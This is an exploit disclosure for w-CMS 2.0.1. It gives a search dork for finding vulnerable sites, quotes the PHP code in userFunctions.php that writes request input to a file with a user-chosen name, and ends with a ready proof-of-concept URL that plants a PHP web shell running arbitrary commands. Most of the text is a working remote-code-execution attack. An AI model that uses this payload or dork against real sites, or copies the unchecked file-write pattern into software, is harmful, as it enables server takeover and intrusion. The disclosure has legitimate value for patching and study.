w-CMS 2.0.1 – Remote Code Execution
Exploit Title: w-CMS 2.0.1 Remote Code Execution Vulnerability Google Dork: intext:"Powered by w-CMS" Date: 15/08/2013 Exploit Author: ICheer_No0M - http://icheernoom.blogspot.com/ Vendor Homepage: http://w-cms.org/ Software Link: - Version: 2.0.1 Tested on: Windows 7 + PHP 5.2.6 ---> Vuln Code : /userFunctions.php 6. switch($_REQUEST['udef']) // user defined function ... 11. case 'activity': procActivity(); // <-- call procActivity Function ... 254. function procActivity() 255. { 256. $type = $_REQUEST['type']; // <-- type 257. $content = $_REQUEST['content']; // <-- content 258. $content = preg_replace("/\|/","\0xff ",$content)."\n"; 259. $data = explode("\n",@file_get_contents("./public/$type")); 260. $file = @fopen("./public/$type", "w"); // <-- filename = $type 261. if($file); 262. { 263. fwrite($file, $content); // <-- fwrite to write $content into $filename 264. for($ix=0;$ix<25;$ix++) 265. { 266. fwrite($file,$data[$ix]."\n"); 267. } 268. fclose($file); 269. } ---> Exploit/Proof of Concept (PoC) http://localhost/wcms/userFunctions.php?udef=activity&type=shell.php&content=<?php system($_GET['cmd']); ?> Find your shell on /public/shell.php |